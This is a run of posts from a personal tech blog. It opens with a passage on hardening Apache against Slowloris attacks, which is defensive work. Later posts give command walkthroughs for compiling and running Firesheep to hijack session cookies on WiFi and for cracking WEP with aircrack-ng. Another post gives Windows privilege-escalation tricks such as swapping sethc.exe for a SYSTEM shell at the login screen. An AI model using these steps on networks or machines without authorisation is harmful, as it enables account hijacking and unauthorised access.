Turning <tt>KeepAlive</tt> completely off might help, but it is no real remedy. The POST attack still remains an issue. Tweaking with the Apache options alone is thus certainly not enough.<br />
<br />
<h2>
mod_antiloris</h2>
Some developers have released Apache modules geared to mitigate the Slowloris attack. The two most common ones are <tt>mod_antiloris</tt> and <tt>mod_noloris</tt>. Both use the same trick to prevent attacks. They both hook into connection attempts:<br />
<br />
<pre><code class="prettyprint">ap_hook_process_connection(pre_connection, NULL, NULL, APR_HOOK_FIRST);</code></pre>
<br />
And count how many connections from the same remote IP are already in the SERVER_BUSY_READ state (the server is reading data from a client). When this count is too high, subsequent connections get denied:<br />
<br />
<pre><code class="prettyprint">for (i = 0; i < server_limit; ++i) {
for (j = 0; j < thread_limit; ++j) {
ws_record = ap_get_scoreboard_worker(i, j);
switch (ws_record->status) {
case SERVER_BUSY_READ:
if (strcmp(client_ip, ws_record->client) == 0)
ip_count++;
break;
default:
break;
}
}
}
if (ip_read_count > conf->read_limit) {
ap_log_error(APLOG_MARK, APLOG_WARNING, 0, NULL, "[client %s] rejected, too many connections in READ state", c->remote_ip);
return OK;
} else {
return DECLINED;
}</code></pre>
<br />
Installing <a href="http://sourceforge.net/projects/mod-antiloris/">mod_antiloris</a> in Ubuntu is a simple matter of executing:<br />
<br />
<code class="prettyprint">$ sudo apt-get install libapache2-mod-antiloris</code><br />
<br />
<h2>
mod_limitipconn</h2>
During testing, I discovered that the mod_antiloris module above only protects against the original slow header variant of the Slowloris attack. The slow post was still killing my webserver. So I explored the use of another mod, named <a href="http://dominia.org/djao/limitipconn2.html">mod_limitipconn</a>, which limits simultaneous requests from the same IP.<br />
<br />
There is no Apache2 module of <tt>mod_limitipconn</tt> in the Ubuntu repositories, but a Debian deb package is available online and works fine on Ubuntu:<br />
<pre><code class="prettyprint"># Use the i386 package if you have to...
$ wget http://elonen.iki.fi/code/unofficial-debs/mod-limitipconn/apache2-mod-limitipconn_0.22-2_amd64.deb
$ sudo dpkg -i ./apache2-mod-limitipconn_0.22-2_amd64.deb
$ sudo a2enmod limitipconn
</code></pre>
<br />
Before you restart Apache, create a configuration file at <tt>/etc/apache2/conf.d/limitipconn.conf</tt>:<br />
<pre><code class="prettyprint">ExtendedStatus On
<IfModule mod_limitipconn.c>
<Location />
# Global settings here
MaxConnPerIP 10
# No limit for images
NoIPLimit image/*
</Location>
</IfModule></code></pre>
<br />
Now the server can be restarted:<br />
<br />
<code class="prettyprint">$ sudo /etc/init.d/apache2 restart</code>
<br />
<br />
When investigating the source code of mod_limitipconn, we find the following lines:<br />
<pre><code class="prettyprint">/* Count up the number of connections we are handling right now from
* this IP address */
for (i = 0; i < server_limit; ++i) {
for (j = 0; j < thread_limit; ++j) {
ws_record = ap_get_scoreboard_worker(i, j);
switch (ws_record->status) {
case SERVER_BUSY_READ:
case SERVER_BUSY_WRITE:
case SERVER_BUSY_KEEPALIVE:
case SERVER_BUSY_LOG:
case SERVER_BUSY_DNS:
case SERVER_CLOSING:
case SERVER_GRACEFUL:
if (strcmp(address, ws_record->client) == 0)
ip_count++;
break;
default:
break;
}
}</code></pre>
<br />
Not much different compared to the previous mods, except that mod_limitipconn takes into account all possible server states. Not surprisingly, the attack stopped working after installing this mod. You can disable mod_antiloris when using this module. One might wonder which state actually protects against the slow post attack variant. One would except SERVER_BUSY_READ to intercept these as well, as the server is, in fact, still reading a request from the client and waiting for it to complete. However, as it turns out, the server actually switches to the SERVER_BUSY_WRITE state when receiving a POST, as described on the <a href="http://www.pubbs.net/200910/httpd/29387-crazy-slowloris-mitigation-patch.html">mailing lists</a>:<br />
<blockquote>
However, there is a real problem with all approaches that look for SERVER_BUSY_READ: The attacker can just use a URL that accepts POST requests and send the request body very slowly. These connections have the state SERVER_BUSY_WRITE. This problem affects mod_antiloris and mod_noloris, too (but not mod_reqtimeout). Maybe another state SERVER_BUSY_READ_BODY could be introduced? Or the state could be changed to SERVER_BUSY_READ again when the request body is read?</blockquote>
Interesting information, and some valid points.<br />
<br />
<h2>
Modified mod_antiloris</h2>
With this in mind I set out to modify mod_antiloris, as I wasn't completely happy with mod_limitipconn. The module works great, but provided too much configuration overhead. I wanted something really simple. The source code for mod_antiloris was quickly edited to include a second counter, and to check the request string (i.e. it has to contain "POST").<br />
<pre><code class="prettyprint">switch (ws_record->status) {
case SERVER_BUSY_READ:
if (strcmp(client_ip, ws_record->client) == 0){
ip_read_count++;
}
break;
case SERVER_BUSY_WRITE:
if (NULL != strstr(ws_record->request, str_post) && strcmp(client_ip, ws_record->client) == 0){
ip_write_count++;
}
break;
default:
break;
}</code></pre>
<br />
<br />
<div>
I also modified the logging to look a bit more like normal Apache error lines. This will come into play in the next step. The full modified source code is available on <a href="https://gist.github.com/773464">Github</a>.</div>
<br />
Installing and compiling the module requires little work:<br />
<pre><code class="prettyprint">$ sudo apt-get install gcc apache2-threaded-dev
$ wget https://gist.github.com/raw/773464/4e7250692c34f55725384525b513e71be7541f5a/mod_muantiloris.c
$ sudo apxs2 -a -i -c mod_muantiloris.c
$ sudo /etc/init.d/apache2 restart</code></pre>
<br />
Don't forget to disable mod_antiloris and/or mod_limitipconn if you have them enabled (using <tt>a2dismod</tt>). The modified module uses only two optional configuration directives:<br />
<br />
<tt>IPReadLimit (default 5)<br />
IPPostLimit (default 10)</tt><br />
<br />
<b>Note</b>: just as with <tt>mod_limitipconn</tt>, the <tt>ExtendedStatus</tt> directive should be set to <tt>On</tt> for this module to work!<br />
<br />
The module blocks both attack variants, and logs to <tt>error.log</tt> like so:<br />
<br />
<code class="prettyprint">[Tue Jan 11 00:11:35 2011] [warn] [client 0.0.0.0] Antiloris rejected, too many connections in READ state</code>
<br />
<br />
Mission successful!<br />
<br />
<h2>
Fail2Ban</h2>
The following step is optional and only recommended if you already have Fail2Ban installed and running. <a href="http://www.fail2ban.org/">Fail2Ban</a> is a handy tool to ban IP's based on regex tests on logfiles. (I've caught dozens of Chinese, Brazilian and Russian trespassers already.)<br />
<br />
I use the following filter in combination with the modified mod_antiloris above:<br />
<pre><code class="prettyprint">[Definition]
# Option: failregex
# Notes.: regex to match the password failure messages in the logfile. The
# host must be matched by a group named "host". The tag "<host>" can
# be used for standard IP/hostname matching and is only an alias for
# (?:::f{4,6}:)?(?P<host>[\w\-.^_]+)
# Values: TEXT
#
failregex = [[]client <host>[]] Antiloris rejected, too many \(POST\) connections in WRITE state
[[]client <host>[]] Antiloris rejected, too many connections in READ state
# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
# Values: TEXT
#
ignoreregex =</host></host></code></pre>
<br />
I do set the <tt>bantime</tt> to a low value and <tt>maxretry</tt> parameter to a high amount however, as the module tends to generate a lot of error lines and legitimate, aggressive browsers sometimes like to make a lot of concurrent requests as well (mod_limitipconn did have the added benefit of specifying mime type to ignore, although its recognition is based on a reduced URI request string from the Apache scoreboard). Fail2Ban uses IPTables, which has the added benefit that once an IP is banned, Apache can stop dealing with its flooding altogether.<br />
<br />
<br />
That concludes this blog post. I hope you've found the material helpful. Feel free to use any code here and on Github as you see fit.Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com9tag:blogger.com,1999:blog-21390211.post-39747986052059132432010-11-19T00:57:00.012+01:002010-12-07T08:02:53.626+01:00Compiling Firesheep on LinuxIf you follow the (security) news a bit, you've undoubtedly heart about Firesheep. This tool makes it very easy to listen in on public WiFi connections and intercept HTTP Cookies from a plethora of social networking sites and mail services.<br /><br />This has been possible for a long time (some tcpdump filters and some cookie setting scripts and you're golden), but this tool makes it insanely easy. You can check out the tool and its description on the <a href="http://codebutler.com/firesheep">main site</a>.<br /><br />The site mentions that Linux support is on the way, and recently it has become possible to successfully compile the tool on Linux. This is what I did to get it running on Ubuntu 10.10.<br /><br /><pre><code class="prettyprint">cd ~git clone git://github.com/mickflemm/firesheep.git<br />cd firesheep/<br />./autogen.sh --with-xulrunner-sdk=/usr/lib/xulrunner-devel-1.9.2.12</code></pre><br />This will configure the makefile, this will probably fail until you have installed all the right dependencies. Below are the ones I was missing, yours might differ! Check the output for hints on which package you need to install.<br /><br /><pre><code class="prettyprint">sudo apt-get install libxul-dev xulrunner-devsudo libpcap-devsudo libhal-dev<br /># Now configure should succeed:<br />./autogen.sh --with-xulrunner-sdk=/usr/lib/xulrunner-devel-1.9.2.12</code></pre><br />We now need to make a small change to the makefile.<br /><br /><pre><code class="prettyprint">gedit mozpopen/Makefile</code></pre><br />Change the <tt>MOZ_CFLAGS = ...</tt> line to:<br /><br /><pre><code class="prettyprint">MOZ_CFLAGS = -fshort-wchar -I/usr/lib/xulrunner-devel-1.9.2.12/include -I/usr/include/nspr</code></pre><br />Now we start compiling.<br /><br /><pre><code class="prettyprint">make</code></pre><br />This will probably fail with the message:<br /><br /><pre><code class="prettyprint">make[1]: *** No rule to make target `deps/http-parser/http_parser.c', needed by `../xpi/platform/.../firesheep-backend'. Stop.</code></pre><br />This is fixed by running a submodule update:<br /><br /><pre><code class="prettyprint">git submodule update --init</code></pre><br />And make again:<br /><br /><pre><code class="prettyprint">make</code></pre><br />You'll now have an extension in the <tt>build</tt> directory. Drag the <tt>.xpi</tt> to Firefox to install Firesheep, then close Firefox completely.<br /><br />Firesheep expects your wireless interface to be in monitor mode. The easiest way to do this is to use <tt>airmon-ng</tt>:<br /><br /><pre><code class="prettyprint">sudo airmon-ng start eth1 #Substitute your wireless interface name</code></pre><br />Now start Firefox with root rights:<br /><br /><pre><code class="prettyprint">sudo firefox</code></pre><br />Go to <tt>Tools → Add-ons</tt>, and open the Firesheep <tt>Preferences</tt> under the <tt>Extensions</tt> view. Another window opens. Set the <tt>Capture Interface</tt> to <tt>mon0</tt>.<br /><br />Press <tt>CTRL+SHIFT+S</tt> to open the Firesheep sidebar and to start capturing.<br /><br />Good luck. Also, be sure to check out <a href="http://research.zscaler.com/2010/11/blacksheep-tool-to-detect-firesheep.html">Blacksheep</a>, a tool to detect Firesheep tampering on your network.Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com8tag:blogger.com,1999:blog-21390211.post-86291071153769052892010-11-03T21:16:00.008+01:002010-11-03T21:37:46.198+01:00Aircrack Quick Tutorial (Wireless WEP Cracking)Speaking of <a href="http://blog.macuyiko.com/2010/11/ubuntu-1010-fixed-channel-mon0-1.html">wireless</a>. The following is just a quick note-to-self, because I always forget the exact commands and end up crawling around the <a href="http://www.aircrack-ng.org/doku.php">Aircrack wiki</a> for a bit. I though I'd posted this before, but I can't seem to find it.<br /><br /><code class="prettyprint"><pre><b>TTY1$</b> sudo airmon-ng start eth1<br /># Assume monitor started on mon0.<br /><b>TTY1$</b> sudo airodump-ng mon0<br /># Scout interesting APs and focus:<br /><b>TTY1$</b> sudo airodump-ng --channel <span class="Apple-style-span"><b>X</b></span> --bssid <b><span class="Apple-style-span">XX:XX:XX:XX:XX:XX</span></b> -w output mon0<br /># OK, this terminal is dumping data. Open a new one.<br /><br /><b>TTY2$</b> sudo aireplay-ng -1 0 -a <b><span class="Apple-style-span">XX:XX:XX:XX:XX:XX</span></b> mon0<br /># ... Association successful :-)<br /><br /># Now start the attack. I like opening a new terminal for this.<br /># Don't bother with the ARP request replay attack.<br /># The best method to use is the -p 0841 one, especially when using<br /># a crappy wifi chip like me (3945ABG). Last time I checked, the<br /># advanced attack methods (KoreK chopchop, fragmentation, caffe-<br /># latte and Hirte) didn't work.<br /><b>TTY3$</b> sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <b><span class="Apple-style-span">XX:XX:XX:XX:XX:XX</span></b> mon0<br /><br /># Wait until a packet is captured. It's best to use a small one (Size: 68).<br /># Reinject and the data-counter in TTY1 (airodump) should go up. Now get cracking:<br /><b>TTY4$</b> sudo aircrack-ng -b <b><span class="Apple-style-span">XX:XX:XX:XX:XX:XX</span></b> output*.cap<br /><br />#And, optional:<br /><b>TTY5</b>$ sudo aircrack-ng -K -b <span class="Apple-style-span"><b>XX:XX:XX:XX:XX:XX</b></span> output*.cap</pre></code>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-68818410010021964662010-11-03T21:10:00.005+01:002012-05-22T20:51:23.509+02:00Ubuntu 10.10: "fixed channel mon0: -1" Aircrack Problem With iwl3945<b>Update for Ubuntu 12.04 users:</b> <a href="http://blog.macuyiko.com/2012/05/ubuntu-1204-fixed-channel-mon0-1.html">see this post</a>.<br />
<br />
<div style="text-align: center;">
*</div>
<div style="text-align: center;">
* *</div>
<br />
After upgrading to Ubuntu Maverick, the Aircrack suite stopped working.<br />
<br />
After setting <tt>airodump</tt> to a channel (like usual):<br />
<br />
<code class="prettyprint">airodump --channel <b>X</b></code>
<br />
It still displayed its status as:<br />
<br />
<code class="prettyprint">fixed channel mon0: -1</code>
<br />
Some forum users advised to use:<br />
<br />
<code class="prettyprint">airodump --channel <b>X</b>,<b>X</b></code>
<br />
But this didn't work. For the record, I'm using a Thinkpad X60, with the <tt>iwl3945</tt> driver. <tt>lshw</tt> output:<br />
<br />
<code></code><br />
<pre class="prettyprint"> *-network
description: Wireless interface
product: PRO/Wireless 3945ABG [Golan] Network Connection
vendor: Intel Corporation
physical id: 0
bus info: pci@0000:03:00.0
logical name: eth1
version: 02
width: 32 bits
clock: 33MHz
capabilities: bus_master cap_list ethernet physical wireless</pre>
<br />
<br />
Luckily, there is an easy to follow <a href="http://ubuntuforums.org/showthread.php?t=1598930">thread</a> on the forums which fixes the problem for a similar card. This solution also worked with my 3945ABG.<br />
<br />
Here are the commands:<br />
<br />
<br />
<pre class="prettyprint">wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2010-10-16.tar.bz2
tar -jxf compat-wireless-2010-10-16.tar.bz2
cd compat-wireless-2010-10-16
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
gedit scripts/update-initramfs
#*** FIND LINE 13: KLIB=/lib/modules/2.6.31-wl/build
#*** REPLACE WITH: KLIB=/lib/modules/$(uname -r)/build
make
sudo make install
sudo make unload
sudo modprobe iwl3945</pre>
<br />
<br />
Alternatively you can also use <tt>sudo reboot</tt> instead of <tt>sudo modprobe</tt> if you're unsure which driver module you need to load.<br />
<br />
Aircrack should work fine again now. Note that kernel updates might overwrite the module again (and, hopefully, fix the bug at the same time).Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com25tag:blogger.com,1999:blog-21390211.post-48306696194839889202010-09-07T23:12:00.000+02:002010-09-07T23:12:36.491+02:00Solving Color Problem In DirectDraw Games UpdateI've received a few more e-mails and blog comments containing input and information about the famous DirectDraw palette problem which messes up colors in older games.<br />
<br />
In particular, Windows contains <a href="http://go.hopx.net/2010/05/256-color-issues-with-directdraw-and.html">compatibility entries in the registry</a>, and <a href="http://sol.gfxile.net/ddhack/">Jari Komppa</a> has written a ddraw.dll which wraps DirectDraw.<br />
<br />
I've updated <a href="http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html">my blog post from 2009 once more</a> to reflect this new information. Currently, the easiest way to run Age Of Empires 2: The Conquerors without any hassles still seems to be my tool, which you can find <a href="http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html">there</a> as well.<br />
<br />
<br />
P.S.: Also, I will be competing in the <a href="http://www.ai-contest.com/">Google A.I. Challenge</a> again this year. I look forward to seeing you there!Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-26094523015409611502010-08-18T23:30:00.004+02:002010-08-18T23:32:51.858+02:00Missing Icons In Notification Area (Tray Bar)A few days ago some of my programs stopped showing their icons in the Windows (7) notification area. A quick peek at the Task Manager revealed that they were, in fact, running.<br />
<br />
Changing the notification settings and peeking around in the task bar configuration revealed nothing.<br />
<br />
It turns out that Windows 7 stores its tray icons in a registry key. To reset the icons, do this:<br />
<blockquote>
1. Open regedit<br /><br />
2. Go to <tt><b>HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify</b></tt><br /><br />
3. You should see two values: <tt><b>IconStreams</b></tt> (stores program path and other info) and <tt><b>PastIconsStream</b></tt> (stores the icon data), delete them<br /><br />
4. Restart the <tt>explorer.exe</tt> process (or restart the computer)<br /><br />
5. The missing icons should return, if the volume meter or other standard Windows icons are gone, you can re-enable them in the normal Taskbar Properties dialog</blockquote>
That did the trick for me.Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com1tag:blogger.com,1999:blog-21390211.post-27210388790209036972010-08-17T00:11:00.004+02:002010-08-17T00:14:36.982+02:00Oldie But Goodie: Privilege Escalation In Windows<h2>
Number One:</h2>
Replace <tt>C:\Windows\system32\sethc.exe</tt> with <tt>cmd.exe</tt> (e.g. by renaming and/or using a repair CD: with the Vista repair CD you can open "<tt>notepad</tt>" in the command prompt and execute file manipulations from the Open Dialog).<br />
<br />
Restart. At the login screen press "Shift" five times (at this point, you can guess what sethc.exe originally did) and a command window with full system privileges will appear. Often used to replace forgotten administrator passwords:<br />
<br />
<pre class="prettyprint"><code>net user administrator *</code></pre>
<div>
<br />
Of course, booting some sort of <a href="http://www.sysresccd.org/">live CD</a> or <a href="http://pogostick.net/~pnh/ntpasswd/">tool</a> might be simpler.</div>
<h2>
Number Two:</h2>
The btwdins.exe method. On systems with the right Bluetooth service executable, you can execute any executable located at <tt>C:\Program.exe</tt> with LocalSystem rights. More info <a href="http://osix.net/modules/article/?id=679">here</a>.<br />
<h2>
Number Three:</h2>
<div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
A.k.a. the famous "at"-method, there was a lot of talk about this back in the day (about a year ago). Basically, the concept went like this:</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Open a command prompt as a normal user, type:</div>
</div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
</div>
<pre class="prettyprint" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><code>at</code></pre>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
</div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
If it responds with an "<tt>Access denied.</tt>" error, you are out of luck. If it responds with "<tt>There are no entries in the list.</tt>" then you're good.</div>
</div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
</div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Now execute:</div>
</div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
</div>
<pre class="prettyprint" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><code>at 18:15 /interactive "cmd.exe"</code></pre>
</div>
<div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br />
And at a quarter past six a command prompt will appear, with SYSTEM privileges. Sounds sensible, right? Not really, since the only users able to schedule commands <a href="http://h0bbel.p0ggel.org/windows-xp-privilege-escalation-exploit-no-it-isnt">are already local administrators</a>.</div>
</div>
<br />
<br />Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-20170429060224292882010-07-02T22:58:00.000+02:002011-12-18T17:21:52.281+01:00Note To Self: Remote VNC (Listen) ConnectionBecause I always forget these commands and end up double checking them...<br />
<br />
<h4>
Client (Me) - Listening:</h4>
<pre class="prettyprint">vncviewer -listen <b>PORT</b></pre>
<br />
(Using UltraVNC on Windows.)
<br />
<br />
<h4>
Server - Initiating:</h4>
<pre class="prettyprint">x11vnc -connect <b>IP</b>:<b>PORT</b></pre>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-33610438812831700662010-05-16T18:39:00.008+02:002010-05-16T19:22:18.296+02:00<h1>Get A List Of Steam Games (As Of May 2010)</h1><br /><br /><p>Using Python and Beautiful Soup. This updates the previous script posted on this blog.</p><br /><br /><pre class="prettyprint"><code>from BeautifulSoup import BeautifulSoup<br />from urllib import urlopen<br />import re<br /><br />CATEGORY_GAMES = '998'<br />CATEGORY_VIDEOS = '999'<br />CATEGORY_DEMOS = '10'<br />CATEGORY_MODS = '997'<br />CATEGORY_PACKS = '996'<br />CATEGORY_DLC = '21'<br /><br />html_text = urlopen('http://store.steampowered.com/search/?sort_by=&sort_order=ASC&category1='+CATEGORY_GAMES).read().decode('utf-8')<br /><br />soup = BeautifulSoup(html_text)<br />f = open('./output.txt', 'w')<br /><br />pages = 1<br />games = 0<br /><br />print "-- Retrieving number of pages..."<br />for link in soup.findAll('a', attrs={'href' : re.compile(r"http://store.steampowered.com/search/.*&page=\d+")}):<br /> try:<br /> page = int(link.string)<br /> if page > pages:<br /> pages = page<br /> except ValueError:<br /> pass<br /><br />print "-- Pages found:",pages<br /><br />for page in range(1,pages+1):<br /> print "-- Retrieving page:",page<br /><br /> html_text = urlopen('http://store.steampowered.com/search/?sort_by=&sort_order=ASC&category1='+CATEGORY_GAMES+'&page='+str(page)).read().decode('utf-8')<br /> soup = BeautifulSoup(html_text)<br /><br /> for item in soup.findAll('a', attrs={'class' : re.compile(r'\bsearch_result_row\b')}):<br /> games += 1<br /> <br /> #get information<br /> appname = item.find('div', attrs={'class' : re.compile(r'\bsearch_name\b')}).h4.string<br /> appprice = item.find('div', attrs={'class' : re.compile(r'\bsearch_price\b')}).string<br /> appscore = item.find('div', attrs={'class' : re.compile(r'\bsearch_metascore\b')}).string<br /> apprelease = item.find('div', attrs={'class' : re.compile(r'\bsearch_released\b')}).string<br /> appurl = item['href']<br /> appid = re.match(r"http://store.steampowered.com/(\w+)/(\d+)/", appurl)<br /> appimage = re.sub(r"\?t=\d+","",item.find('div', attrs={'class' : re.compile(r'\bsearch_capsule\b')}).img['src'])<br /> <br /> #write information to file<br /> f.write(str(appname)+'\r\n') <br /> f.write(str(appprice)+'\r\n') <br /> f.write(str(appurl)+'\r\n') <br /> f.write(str(appimage)+'\r\n') <br /> f.write(str(apprelease)+'\r\n') <br /> f.write(str(appscore)+'\r\n') <br /> f.write(str(appid.group(1))+"/"+str(appid.group(2))+'\r\n')<br /> f.write('\r\n') <br /> <br />print "-- Games found:",games<br />f.close()</code></pre>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com0tag:blogger.com,1999:blog-21390211.post-48047271016946973462010-05-14T00:54:00.001+02:002010-05-14T00:54:15.414+02:00Python Web Scraping ToolsJust a note for myself, a list of interesting Python tools for my next web scraping project:<br />
<br />
<ul>
<li><a href="http://docs.python.org/library/urllib2.html">urllib2</a>: extensible library for opening URLs.</li>
<li><a href="http://pyquery.org/">PyQuery</a>: jQuery-like traversing and selecting for Python.</li>
<li><a href="http://wwwsearch.sourceforge.net/mechanize/">mechanize</a>: stateful programmatic web browsing in Python.</li>
<li><a href="http://www.crummy.com/software/BeautifulSoup/">Beautiful Soup</a>: not supported/maintained that much anymore. Latest versions are rather slow and buggy.</li>
<li><a href="http://scrapy.org/">Scrapy</a>: looks nice, includes the URL requesting part as well, with cookie support and such.</li>
<li><a href="http://codespeak.net/lxml/lxmlhtml.html">lxml.html</a>: lxml is a Pythonic binding for the libxml2 and libxslt libraries.</li>
</ul>
<div>
Probably going with Scrapy.</div>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com0